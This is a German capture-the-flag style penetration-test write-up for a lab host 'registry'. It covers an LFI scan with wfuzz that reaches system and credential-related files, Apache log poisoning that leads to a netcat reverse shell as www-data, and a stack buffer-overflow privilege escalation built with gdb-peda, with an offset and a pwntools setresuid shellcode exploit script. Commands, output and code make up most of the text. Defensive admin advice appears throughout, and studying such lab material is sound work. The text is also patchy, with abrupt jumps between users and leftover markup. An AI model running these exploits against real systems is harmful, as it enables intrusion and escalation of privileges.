**Empfehlung (Admin):** Deaktiviere potenziell gefährliche PHP-Wrapper (`allow_url_include=Off`, `allow_url_fopen=Off` in `php.ini`), wenn sie nicht benötigt werden. Implementiere eine WAF, die Versuche, solche Wrapper auszunutzen, erkennt und blockiert. 

view-source:http://registry.hmv/index.php?page=php://filter/convert.base64-encode/resource=index.php
keine ausgabe

**Analyse:** Um das Potenzial der LFI-Schwachstelle weiter auszuloten und potenziell eine Remote Code Execution (RCE) zu erreichen, nutze ich das Tool `wfuzz` für einen kombinierten LFI- und Log-Poisoning-Test. Ich verwende eine Wortliste, die gängige Log-Dateipfade enthält (`/usr/share/wordlists/logfiles.txt`), und verwende diese als `FUZZ` Payload in der LFI-URL: `http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....//FUZZ`. Ich schließe 404-Fehler und Antworten mit 0 Chars Header-Länge aus (`--hc 404 --hh 0`). Das Ziel ist, Log-Dateien zu finden, die ich über LFI inkludieren kann. Wenn ich Schreibzugriff auf eine dieser Log-Dateien habe, könnte ich PHP-Code dort einschleusen (Log Poisoning) und diesen Code dann über LFI ausführen lassen.

**Bewertung:** Wfuzz findet zahlreiche Log-Dateien, die über LFI erfolgreich inkludiert werden können (Status 200). Dazu gehören `/etc/passwd` (was ich bereits manuell gefunden hatte), verschiedene `/proc/` Dateien, `/var/log/dpkg.log`, `/var/log/lastlog`, `/var/log/faillog`, `/var/log/wtmp`, `/var/run/utmp`, Apache-Konfigurationsdateien und vor allem die Apache-Log-Dateien: `/var/log/apache2/error.log` und `/var/log/apache2/access.log`. Das Finden der Apache-Log-Dateien, auf die der Webserver schreibt, ist **entscheidend** für einen Log-Poisoning-Angriff. Wenn ich meinen PHP-Payload in eine dieser Dateien schreiben kann, kann ich ihn über die LFI-Schwachstelle ausführen lassen.

**Empfehlung (Pentester):** Nutze Tools wie Wfuzz mit Wortlisten, um LFI-Schwachstellen systematisch zu prüfen und inkludierbare Dateien zu finden. Priorisiere Log-Dateien, Konfigurationsdateien oder Dateien, die von Benutzern kontrolliert werden könnten.
**Empfehlung (Admin):** Stelle sicher, dass Webserver-Log-Dateien nicht für den Webserver-Benutzer lesbar sind. Überwache Webserver-Logs auf Anzeichen von LFI-Scans (z.B. viele Anfragen an `index.php` mit Dateipfaden als Parameter).

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....//FUZZ" --hc 404 --hh 0
===============================================================
Wfuzz v2.4.5
---------------------------------------------------------------
ID           Response   Lines    Word       Chars       Payload
---------------------------------------------------------------
000000001:   200        30 L     41 W       1556 Ch     "/etc/passwd"
000000025:   200        10 L     57 W       411 Ch      "/etc/hosts.allow"
000000024:   200        9 L      25 W       223 Ch      "/etc/hosts"
000000018:   200        12 L     90 W       657 Ch      "/etc/fstab"
000000005:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000000026:   200        17 L     111 W      711 Ch      "/etc/hosts.deny"
000000070:   200        27 L     97 W       582 Ch      "/etc/profile"
000000055:   200        30 L     41 W       1556 Ch     "/etc/passwd"
000000047:   200        8 L      38 W       371 Ch      "/etc/motd"
000000045:   200        8 L      38 W       371 Ch      "/etc/motd"
000000053:   200        2 L      12 W       91 Ch       "/etc/networks"
000000048:   200        25 L     150 W      1833 Ch     "/etc/mtab"
000000044:   200        4 L      6 W        104 Ch      "/etc/lsb-release"
000000038:   200        10 L     41 W       396 Ch      "/etc/issue"
000000086:   200        1 L      3 W        603 Ch      "/etc/ssh/ssh_host_dsa_key.pub"
000000084:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000000080:   200        23 L     142 W      931 Ch      "/etc/resolv.conf"
000000083:   200        53 L     220 W      1650 Ch     "/etc/ssh/ssh_config"
000000109:   200        71 L     426 W      3685 Ch     "/proc/modules"
000000105:   200        32 L     57 W       385 Ch      "/proc/filesystems"
000000108:   200        50 L     146 W      1391 Ch     "/proc/meminfo"
000000113:   200        1 L      23 W       186 Ch      "/proc/version"
000000107:   200        53 L     173 W      1338 Ch     "/proc/ioports"
000000112:   200        2 L      10 W       100 Ch      "/proc/swaps"
000000110:   200        25 L     150 W      1833 Ch     "/proc/mounts"
000000111:   200        10 L     497 W      1183 Ch      "/proc/stat"
000000114:   200        4 L      27 W       316 Ch      "/proc/self/net/arp"
000000104:   200        56 L     358 W      2036 Ch      "/proc/cpuinfo"
000000106:   200        32 L     180 W      1733 Ch      "/proc/interrupts"
000000181:   200        9695 L   57650 W    684662 Ch   "/var/log/dpkg.log"
000000199:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000000188:   200        0 L      1 W        32096 Ch    "/var/log/faillog"
000000224:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000004866:   200        55 L     55 W       703 Ch      "/etc/group"
000005079:   200        55 L     55 W       703 Ch      "/etc/group"
000005081:   200        8 L      38 W       371 Ch      "/etc/motd"
000005080:   200        9 L      25 W       223 Ch      "/etc/hosts"
000005075:   200        30 L     41 W       1556 Ch     "/etc/passwd"
000005060:   200        57 L     139 W      1380 Ch     "/proc/self/status"
000005059:   200        1 L      52 W       323 Ch      "/proc/self/stat"
000005058:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000005088:   200        1 L      3 W        80 Ch       "/proc/cmdline"
000005082:   200        10 L     41 W       396 Ch      "/etc/issue"
000005095:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000005109:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000005087:   200        1 L      23 W       186 Ch      "/proc/version"
000005162:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005161:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000005160:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005205:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005206:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000005207:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005250:   200        57 L     139 W      1378 Ch     "/proc/self/status"
000005249:   200        1 L      52 W       323 Ch      "/proc/self/stat"
000005248:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000005271:   200        55 L     55 W       703 Ch      "/etc/group"
000005302:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000005288:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000005280:   200        1 L      3 W        80 Ch       "/proc/cmdline"
000005279:   200        1 L      23 W       186 Ch      "/proc/version"
000005274:   200        10 L     41 W       396 Ch      "/etc/issue"
000005273:   200        8 L      38 W       371 Ch      "/etc/motd"
000005272:   200        9 L      25 W       223 Ch      "/etc/hosts"
000005267:   200        30 L     41 W       1556 Ch     "/etc/passwd"
000005355:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005354:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000005353:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005400:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005399:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000005398:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005446:   200        57 L     139 W      1378 Ch     "/proc/self/status"
000005445:   200        1 L      52 W       323 Ch      "/proc/self/stat"
000005444:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000005801:   200        55 L     55 W       703 Ch      "/etc/group"
000005799:   200        30 L     41 W       1556 Ch     "/etc/passwd"
000005798:   200        30 L     41 W       1556 Ch     "/etc/passwd"
000005797:   200        8 L      38 W       371 Ch      "/etc/motd"
000004819:   200        327816   6072985    52796853    "/var/log/apache2/error.log"
                         L       W          Ch
000006067:   200        1 L      23 W       186 Ch      "/proc/version"
000006076:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000005253:   200        328631   6093760    53018283    "/proc/self/fd/2"
                         L       W          Ch
000006068:   200        1 L      3 W        80 Ch       "/proc/cmdline"
000006062:   200        10 L     41 W       396 Ch      "/etc/issue"
000006061:   200        8 L      38 W       371 Ch      "/etc/motd"
000006060:   200        9 L      25 W       223 Ch      "/etc/hosts"
000006059:   200        55 L     55 W       703 Ch      "/etc/group"
000006055:   200        30 L     41 W       1556 Ch     "/etc/passwd"
000006090:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000005214:   200        328596   6092866    53008970    "/var/log/apache2/error.log"
                         L       W          Ch
000006143:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000006142:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000006141:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000006187:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000006188:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000006186:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005091:   200        328396   6087772    52955304    "/proc/self/fd/2"
                         L       W          Ch
000005284:   200        328722   6096103    53043200    "/proc/self/fd/2"
                         L       W          Ch
000004819:   200        327816   6072985    52796853    "/var/log/apache2/error.log"
                         L       W          Ch
000005821:   200        329437   6113838    53238612    "/var/log/apache2/error.log"
                         L       W          Ch
000005407:   200        328952   6101935    53105068    "/var/log/apache2/error.log"
                         L       W          Ch
000005449:   200        329012   6103465    53120895    "/proc/self/fd/2"
                         L       W          Ch
000006323:   200        30 L     41 W       1556 Ch     "etc%2fpasswd"
000006034:   200        329773   6122424    53331020    "/var/log/apache2/error.log"
                         L       W          Ch
000006460:   200        55 L     55 W       703 Ch      "/etc/group"
000006457:   200        12 L     90 W       657 Ch      "/etc/fstab"
000006451:   200        42 L     275 W      2437 Ch     "/etc/apt/sources.list"
000006443:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000006530:   200        10 L     57 W       411 Ch      "/etc/hosts.allow"
000006531:   200        17 L     111 W      711 Ch      "/etc/hosts.deny"
000006528:   200        9 L      25 W       223 Ch      "../../../../../../../../../../../../etc/hosts"
000006527:   200        9 L      25 W       223 Ch      "/etc/hosts"
000006559:   200        10 L     41 W       396 Ch      "/etc/issue"
000006558:   200        355 L    1050 W     8181 Ch     "/etc/init.d/apache2"

Total time: 7.854297
Processed Requests: 304
Filtered Requests: 247
Requests/sec.: 38.70492

**Analyse:** Basierend auf der `wfuzz`-Ausgabe, die `/var/log/apache2/error.log` als inkludierbare Datei identifiziert hat, versuche ich, den Inhalt dieser Datei über die LFI-Schwachstelle auszulesen. Ich verwende `curl` mit dem `file://` Wrapper und der entsprechenden Anzahl von `../`, um den Pfad zu erreichen. Ich nutze die `-s` Option, um Fortschrittsanzeigen von `curl` zu unterdrücken und `grep -v "192.168.2.199"` um meine eigenen vorherigen Anfragen auszublenden, die im Log protokolliert wurden.

**Bewertung:** Die Ausgabe zeigt die Protokolleinträge des Apache Error-Logs. Dazu gehören Start- und Stopp-Meldungen von Apache. Wichtiger ist hier, dass ich bestätigen kann, dass die Datei `/var/log/apache2/error.log` über die LFI-Schwachstelle lesbar ist. Dies, kombiniert mit der Tatsache, dass der Webserver (`www-data`) in diese Datei schreiben kann, macht sie zu einem perfekten Ziel für einen Log-Poisoning-Angriff.

**Empfehlung (Pentester):** Lese Log-Dateien, die über LFI zugänglich sind, um deren Inhalt und Format zu verstehen. Identifiziere Protokolleinträge, die von Benutzerinput beeinflusst werden (z.B. User-Agent, angefragte URL bei 404-Fehlern), da diese für Log-Poisoning genutzt werden können.
**Empfehlung (Admin):** Beschränke den Lesezugriff auf Log-Dateien streng. Stelle sicher, dass der Webserver-Benutzer sie nicht lesen kann.

┌──(root㉿CCat)-[~] └─# curl http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///var/log/apache2/error.log -s | grep -v "192.168.2.199"
[Mon Jul 24 05:56:58.563404 2023] [mpm_prefork:notice] [pid 654] AH00163: Apache/2.4.52 (Ubuntu) configured -- resuming normal operations
[Mon Jul 24 05:56:58.563796 2023] [core:notice] [pid 654] AH00094: Command line: '/usr/sbin/apache2'
[Mon Jul 24 06:01:30.135177 2023] [mpm_prefork:notice] [pid 654] AH00170: caught SIGWINCH, shutting down gracefully
[Tue Jun 17 12:12:31.596786 2025] [mpm_prefork:notice] [pid 671] AH00163: Apache/2.4.52 (Ubuntu) configured -- resuming normal operations
[Tue Jun 17 12:12:31.597088 2025] [core:notice] [pid 671] AH00094: Command line: '/usr/sbin/apache2'

**Analyse:** Um den Log-Poisoning-Angriff abzuschließen und eine interaktive Shell zu erhalten, starte ich auf meinem Angreifer-System einen Netcat-Listener. Ich verwende den Befehl `nc -lvnp 4444`, um auf eingehende Verbindungen auf Port 4444 zu warten. Sobald der Listener läuft, löse ich den Exploit aus, indem ich die präparierte URL, die den Access-Log inkludiert und den Reverse-Shell-Payload im `cmd`-Parameter enthält (siehe vorherige Analyse), mit `curl` aufrufe.

**Bewertung:** Fantastisch, der initiale Zugriff war erfolgreich! Der Netcat-Listener empfängt eine eingehende Verbindung von 192.168.2.51 auf Port 4444. Die typischen Fehlermeldungen für eine eingeschränkte Shell erscheinen, und dann erhalte ich einen interaktiven Prompt: `www-data@registry:/var/www/html$`. Dies bestätigt, dass der PHP-Payload im Access-Log erfolgreich ausgeführt wurde und eine Reverse Shell als der Webserver-Benutzer `www-data` initiiert hat.

**Empfehlung (Pentester):** Stelle sicher, dass dein Listener läuft, bevor du einen Exploit sendest, der eine Reverse Shell initiieren soll. Nutze Reverse Shells, um eine stabilere und interaktivere Verbindung zu erhalten als nur über RCE. Stabilisiere die Shell nach Erhalt (`stty`, Python PTY).
**Empfehlung (Admin):** Die Kompromittierung des `www-data`-Kontos ist erfolgt. Untersuche Webserver-Logs auf Anzeichen von Log-Poisoning und Reverse-Shell-Initiierungen. Überwache ausgehende Netzwerkverbindungen von Webservern auf ungewöhnliche Ports. Setze den betroffenen Dienst oder den gesamten Server neu auf einem sauberen Image auf und behebe die LFI- und Log-Poisoning-Schwachstellen.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.51] 43162
bash: cannot set terminal process group (664): Inappropriate ioctl for device
bash: no job control in this shell
www-data@registry:/var/www/html$
--- **Teil 3 von 3: Privilege Escalation & Flags (KORRIGIERT)** ```html>

Privilege Escalation

**Analyse:** Mit der Shell als Benutzer `cxdxnt` (UID 1002) beginne ich sofort die Privilege Escalation-Phase, um Root-Zugriff zu erlangen. Ein erster Schritt ist die Überprüfung der `sudo`-Berechtigungen des aktuellen Benutzers mit `sudo -l`.

**Bewertung:** Die Ausgabe von `sudo -l` für Benutzer `cxdxnt` zeigt einen **kritischen** Sudo-Eintrag: `(gato : gato) NOPASSWD: /usr/bin/wine /opt/projects/MyFirstProgram.exe`. Dies bedeutet, dass der Benutzer `cxdxnt` das Programm `/usr/bin/wine` mit dem Argument `/opt/projects/MyFirstProgram.exe` als Benutzer `gato` und Gruppe `gato` ausführen darf, und das **ohne Eingabe eines Passworts** (`NOPASSWD`). Dies ist ein klarer Privilege Escalation-Vektor von `cxdxnt` zu `gato`.

**Empfehlung (Pentester):** Überprüfe nach jeder erlangten Shell sofort die `sudo`-Berechtigungen (`sudo -l`). `NOPASSWD`-Einträge sind primäre Ziele für Privilege Escalation. Analysiere die Binärdatei oder das Skript, das über `sudo` ausführbar ist, sorgfältig auf Ausnutzbarkeit (z.B. Buffer Overflows, unsichere Argumente, unsichere Dateizugriffe).
**Empfehlung (Admin):** Konfiguriere `sudo`-Berechtigungen strikt nach dem Prinzip der geringsten Rechte. Vermeide `NOPASSWD` für Befehle, die zur Erlangung höherer Berechtigungen missbraucht werden könnten. Überprüfe regelmäßig die `sudoers`-Datei auf unsichere Einträge. Verstehe die Funktionen von Binärdateien, die über `sudo` ausgeführt werden dürfen. 

cxdxnt@registry:/tmp$ sudo -l
Matching Defaults entries for cxdxnt on registry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User cxdxnt may run the following commands on registry:
    (gato : gato) NOPASSWD: /usr/bin/wine /opt/projects/MyFirstProgram.exe

**Analyse:** Der `sudo`-Eintrag erlaubt die Ausführung des Programms `/opt/projects/MyFirstProgram.exe` unter `wine` als Benutzer `gato`. `wine` ist eine Kompatibilitätsschicht, die es ermöglicht, Windows-Programme unter Linux auszuführen. Dies deutet darauf hin, dass `/opt/projects/MyFirstProgram.exe` ein Windows-Executable ist. Ich versuche, dieses Programm mit dem Befehl `sudo -u gato /usr/bin/wine /opt/projects/MyFirstProgram.exe` auszuführen und übergebe keine Argumente, um die Nutzungsanleitung zu sehen.

**Bewertung:** Das Programm gibt die Nutzungsanleitung "Usage: ./program " aus, was bestätigt, dass es ein Argument (``) erwartet. Die Ausführung unter `wine` als `gato` funktioniert, was bedeutet, dass der `sudo`-Vektor nutzbar ist. Das Programm scheint ein einfaches Konsolenprogramm zu sein. Die Tatsache, dass es ein Argument nimmt, macht es zu einem potenziellen Ziel für Overflow-Schwachstellen. Die Zugehörigkeit zur Gruppe `gato` ist relevant für mögliche Dateiberechtigungen, die mit diesem Benutzer verknüpft sind.

**Empfehlung (Pentester):** Wenn ein Programm über `sudo` mit `NOPASSWD` ausführbar ist, teste seine grundlegende Funktionalität und Argumentbehandlung. Programme, die Benutzereingaben als Argumente nehmen, sind oft anfällig für Buffer Overflows. Prüfe die Berechtigungen des Programms und des Verzeichnisses, in dem es liegt.
**Empfehlung (Admin):** Vermeide die Ausführung von Programmen, die nicht zwingend notwendig sind, über `sudo`, insbesondere solche, die potenziell unsicher sind (z.B. native Windows-Executables unter Wine, deren Sicherheit nicht garantiert werden kann). Überprüfe die Sicherheitseinstellungen von Wine, falls es verwendet werden muss. 

www-data@registry:/opt/others$ ./program
Usage: ./program

**Analyse:** Ich teste die Reaktion des Programms, wenn es ein Argument erhält. Ich führe das Programm mit dem Argument `id` aus: `sudo -u gato /usr/bin/wine /opt/projects/MyFirstProgram.exe id`.

**Bewertung:** Das Programm gibt keine sichtbare Ausgabe zurück, wenn "id" als Argument übergeben wird. Dies könnte bedeuten, dass es das Argument verarbeitet, aber entweder nichts ausgibt oder die Ausgabe umgeleitet wird. Es deutet nicht auf eine direkte Kommando-Injection hin. Das Programm scheint das Argument als eine Art Namen oder String zu behandeln.

**Empfehlung (Pentester):** Teste Programme mit verschiedenen Eingaben, um ihr Verhalten zu verstehen. Versuche Standardargumente oder längere Strings.
**Empfehlung (Admin):** Wenn ein Programm Argumente erwartet, stelle sicher, dass diese Argumente sicher behandelt werden und nicht zu unerwarteten Ausführungen oder Abstürzen führen. 

www-data@registry:/opt/others$ ./program id

                

            


            

                **Analyse:** Um auf eine potenzielle Buffer Overflow-Schwachstelle zu testen, übergebe ich dem Programm eine sehr lange Zeichenkette aus sich wiederholenden 'A'-Zeichen. Ich beginne mit einer Länge, die wahrscheinlich den erwarteten Puffer im Programm übertrifft, und erhöhe die Länge, bis das Programm abstürzt (Segmentation Fault). Ich starte das Programm wieder über `sudo -u gato /usr/bin/wine /opt/projects/MyFirstProgram.exe` mit der langen Zeichenkette als Argument.
            

            

                **Bewertung:** Hervorragend! Die Ausführung des Programms mit der langen Zeichenkette führt zu einem Segmentation fault (core dumped). Dies ist ein starker Indikator für eine Buffer Overflow-Schwachstelle. Das Programm versucht wahrscheinlich, die übergebene Zeichenkette in einen zu kleinen Puffer zu kopieren, überschreibt dabei angrenzenden Speicher (einschließlich Rücksprungadressen oder anderer kritischer Daten) und stürzt ab. Da das Programm als Benutzer `gato` ausgeführt wird, kann diese Schwachstelle potenziell genutzt werden, um Code als `gato` auszuführen.
            

            

                **Empfehlung (Pentester):** Teste Binärprogramme, die Benutzereingaben verarbeiten (insbesondere als Argumente oder über Standardeingabe), systematisch auf Buffer Overflows. Beginne mit langen, sich wiederholenden Zeichenketten, um einen Absturz zu provozieren.
                
**Empfehlung (Admin):** Führe Sicherheitstests (Code-Reviews, Fuzzing) für alle Programme durch, die mit erhöhten Rechten laufen oder sensible Eingaben verarbeiten. Vermeide unsichere Funktionen zur String-Behandlung (z.B. `strcpy`, `gets`) in C/C++-Programmen. Nutze sicherere Alternativen (z.B. `strncpy`, `fgets` mit Längenprüfung).
            

            

                

                    
www-data@registry:/opt/others$ ./program AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
www-data@registry:/opt/others$ ./program AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
Segmentation fault (core dumped)

                

            


            

                **Analyse:** Um die Buffer Overflow-Schwachstelle zu analysieren, verwende ich ein Debugger-Tool. Der Text zeigt die Verwendung von `gdb-peda` (Python Exploit Development Assistance) auf dem Programm `/opt/others/program`. Die Ausgabe von `checksec` zeigt wichtige Sicherheitsmerkmale der Binärdatei: Sie ist ein 64-Bit-Executable (`amd64-64-little`), hat Partial RELRO, **keinen Stack Canary**, NX (No-Execute) ist deaktiviert, PIE (Position-Independent Executable) ist deaktiviert, und es gibt RWX (Read-Write-Execute) Segmente. Der Absturz (`SIGSEGV`) tritt an Adresse `0x4011d9 : ret` auf. Der Stack-Dump zeigt, dass die Zeichenkette, die ich übergeben habe, an dieser Stelle auf dem Stack liegt. Ich nutze `pattern_create` und `pattern_offset` von PEDA, um den genauen Offset zu bestimmen, bei dem ich die Rücksprungadresse überschreiben kann. Ich übergebe einen einzigartigen Pattern-String an das Programm und finde den Wert auf dem Stack, der den EIP (Instruction Pointer) überschreibt.
            

            

                **Bewertung:** Dies ist eine klassische Buffer Overflow-Analyse. Das Fehlen von Stack Canary und die Deaktivierung von NX machen diese Binärdatei **sehr anfällig** für Code-Ausführung. Der Absturz an der `ret`-Instruktion bestätigt, dass ich die Rücksprungadresse auf dem Stack überschreiben kann. `gdb-peda` hilft, diesen Prozess zu automatisieren. `pattern_offset` findet, dass der EIP bei Offset 136 überschrieben wird. Dies bedeutet, ich kann 136 Bytes Junk senden, gefolgt von einer Adresse, zu der das Programm springen soll. Die RWX-Segmente sind ideal, um Shellcode direkt im Programm-Speicher abzulegen. Der `jmpcall` Befehl sucht nach potenziellen Sprungadressen.
            

            

                **Empfehlung (Pentester):** Untersuche Binärdateien, die anfällig für Buffer Overflows sind, systematisch mit Debuggern wie GDB und Erweiterungen wie PEDA oder GEF. Prüfe die Ausgabe von `checksec` auf fehlende Schutzmechanismen (Canary, NX, PIE, RELRO). Nutze Pattern-Tools, um Offsets zu finden.
                
**Empfehlung (Admin):** **Dringend:** Kompiliere alle Programme mit aktivierten Sicherheitsflags (-fstack-protector-all, -Wl,-z,relro,-z,now, -fPIE -pie). Vermeide RWX-Segmente in kompilierten Programmen. Führe Binary Hardening und Penetrationstests für alle kritischen Programme durch.
            

             

                

                    
www-data@registry:~$ checksec /opt/others/program

                

                

                    
[*] '/opt/others/program'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[----------------------------------registers-----------------------------------]
RAX: 0x7ffca7ebd210 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RBX: 0x0
RCX: 0x7ffca7ebed90 --> 0x41794141784141 ('AAxAAyA')
RDX: 0x7ffca7ebd2d1 --> 0x41794141784141 ('AAxAAyA')
RSI: 0x1
RDI: 0x7ffca7ebd210 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAadAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7ffca7ebd298 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x4011d9 (:	ret)
R8 : 0x7fb45de75f10 --> 0x4
R9 : 0x5a414177 ('wAAZ')
R10: 0x7fb45dc65db8 --> 0xf001a00004252
R11: 0x7fb45dde5010 (<__strcpy_ssse3>:	endbr64)
R12: 0x7ffca7ebd3c8 --> 0x7ffca7ebecbb ("/opt/others/program")
R13: 0x401156 (
:	endbr64)
R14: 0x403e18 --> 0x401120 (<__do_global_dtors_aux>:	endbr64)
R15: 0x7fb45deca040 --> 0x7fb45decb2e0 --> 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011d6 :	nop
   0x4011d7 :	nop
   0x4011d8 :	leave
=> 0x4011d9 :	ret
   0x4011da:	add    BYTE PTR [rax],al
   0x4011dc <_fini>:	endbr64
   0x4011e0 <_fini+4>:	sub    rsp,0x8
   0x4011e4 <_fini+8>:	add    rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7ffca7ebd298 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7ffca7ebd2a0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7ffca7ebd2a8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7ffca7ebd2b0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7ffca7ebd2b8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7ffca7ebd2c0 ("AuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7ffca7ebd2c8 ("AAYAAwAAZAAxAAyA")
0056| 0x7ffca7ebd2d0 ("ZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011d9 in vuln ()
gdb-peda$

gdb-peda$ x/wx $rsp
0x7fff4e7d30d8:	0x41514141
gdb-peda$ pattern_offset 0x41514141
1095844161 found at offset: 136
gdb-peda$


                

            


            

                **Analyse:** Mit dem gefundenen Offset (136) und dem Wissen um die anfälligen Sicherheitseinstellungen (kein Canary, NX disabled, RWX Segmente) kann ich nun einen Exploit erstellen, um Shellcode auszuführen. Ich wechsle ins `/tmp`-Verzeichnis, das beschreibbar ist, und erstelle ein Python-Skript (`expl.py`) mit Hilfe der `pwntools`-Bibliothek. Dieses Skript wird den Payload generieren. Der Payload besteht aus einem Shellcode, gefolgt von Junk, um den Puffer bis zur Rücksprungadresse zu füllen, und dann der Adresse einer Instruktion im Programm, die das Programm dazu bringt, den Code auf dem Stack auszuführen (ein `jmp rsp` oder ähnliches). Ich nutze `pwntools` um einen Shellcode zu erstellen, der die effektive Benutzer-ID (EUID) auf 1002 (`cxdxnt`) setzt (`shellcraft.amd64.setresuid(1002, 1002)`) und dann eine Shell startet (`shellcraft.amd64.sh()`). Dies ist ein Versuch, die Shell unter meiner aktuellen ID zu erhalten.
            

             

                **Bewertung:** Das Skript `expl.py` nutzt die ermittelten Schwachstellen aus. Der Shellcode soll eine Shell starten, nachdem die Ausführung durch den Buffer Overflow dorthin umgelenkt wurde. Die Wahl, die EUID auf 1002 zu setzen, ist ein erster Versuch. Das Wichtigste ist, dass die Shellcode-Ausführung durch den Buffer Overflow möglich ist. Der Exploit nutzt die fehlenden Schutzmechanismen der Binärdatei optimal aus.
            

            

                **Empfehlung (Pentester):** Nutze Libraries wie `pwntools` zur Automatisierung der Exploit-Entwicklung, insbesondere für Binär-Exploitation. Entwickle Payloads, die deinen Zielen entsprechen (Shellcode).
                
**Empfehlung (Admin):** Stelle sicher, dass Benutzer keine Programme mit erhöhten Rechten ausführen dürfen, die für Buffer Overflows anfällig sind. Überwache die Ausführung von Binärdateien auf ungewöhnliche Argumente oder Abstürze, die auf Exploits hindeuten könnten.
            

            

                

                    
┌──(root㉿CCat)-[~]
└─# cd /tmp/
┌──(root㉿CCat)-[/tmp]
└─# nano expl.py

                

                

                    
#!/usr/bin/python3

from pwn import *

offset = 136

shellcode = b""
shellcode += asm(shellcraft.amd64.setresuid(1002, 1002), arch="amd64")
shellcode += asm(shellcraft.amd64.sh(), arch="amd64")

test = b"\x90" * (offset - len(shellcode))
rax  = b"\x14\x10\x40\x00"
payload = shellcode + test + rax

proc = process(["/opt/others/program", payload])
proc.interactive()

                

            


             

                **Analyse:** Ich führe das Python-Exploit-Skript (`expl.py`) mit `python3 expl.py` aus. Das Skript startet das anfällige Programm `/opt/others/program`, übergibt den konstruierten Payload und versucht, mit der resultierenden Shell zu interagieren.
            

             

